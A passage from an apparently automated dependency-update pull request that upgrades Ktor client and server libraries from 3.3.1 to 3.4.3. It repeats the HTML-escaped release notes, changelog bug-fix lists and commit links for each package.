3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-client-content-negotiation` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-client-content-negotiation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 